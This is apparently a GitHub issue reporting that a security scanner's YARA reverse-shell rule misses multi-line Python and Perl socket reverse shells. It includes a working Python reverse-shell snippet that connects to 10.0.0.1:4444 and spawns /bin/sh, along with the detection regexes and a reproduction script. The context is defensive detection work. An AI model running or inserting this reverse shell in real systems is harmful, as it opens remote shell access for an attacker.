Skip to content

Built-in reverse_shell YARA rule misses multi-line Python/Perl socket reverse shells #592

Description

@udsy19

What's wrong

The built-in reverse_shell YARA rule (src/skillspector/yara_rules/malware.yar.b64, base64-packaged) includes two strings meant to catch a raw Python or Perl socket-based reverse shell:

$python_socket    = /socket\.socket\(.*SOCK_STREAM.*\.connect\(/
$perl_socket      = /use\s+Socket;.*socket\s*\(\s*SOCK/

Neither carries the s (dotall) modifier, and YARA's . does not match \n by default. Both patterns therefore only match when the whole snippet sits on one physical line — the python3 -c '...' one-liner form. A Python reverse shell bundled as an actual script file (the far more common shape for something shipped inside an AI agent skill) writes socket.socket(...) and .connect(...) as separate statements:

import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

$python_socket never matches this, and none of reverse_shell's other strings ($bash_revshell, $nc_shell, $php_fsock, etc.) reference Python socket syntax, so the whole rule stays silent. static_yara reports completed, the recommendation stays SAFE, and --fail-on-incomplete exits 0 — the scan never noticed the reverse shell it shipped a signature specifically to catch.

Reproduction

import yara

src = r'''
rule test_socket
{
    strings:
        $python_socket = /socket\.socket\(.*SOCK_STREAM.*\.connect\(/
    condition:
        $python_socket
}
'''
rules = yara.compile(source=src)

oneliner = b's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444))'
multiline = b'''
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 4444))
'''

print("one-liner:", rules.match(data=oneliner))    # [test_socket]
print("multi-line:", rules.match(data=multiline))  # []

(yara-python 4.5.4, the version pinned in pyproject.toml.) Same result for $perl_socket against a multi-line use Socket; ... socket(SOCKET, ...).

Where

src/skillspector/yara_rules/malware.yar.b64 — decodes to malware.yar's reverse_shell rule, $python_socket/$perl_socket strings. This is the initial-release content (7ced4fb), carried through the base64 repackaging in #236 (90a9181) unchanged — the encoding changed, the regex did not.

Proposed fix

Add s on both strings so . spans newlines, bounded to a small window (e.g. .{0,200}) rather than unbounded .*, so the fix doesn't trade the false negative for a new false positive across two unrelated, far-apart socket calls in a large file. Happy to open the PR with tests.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions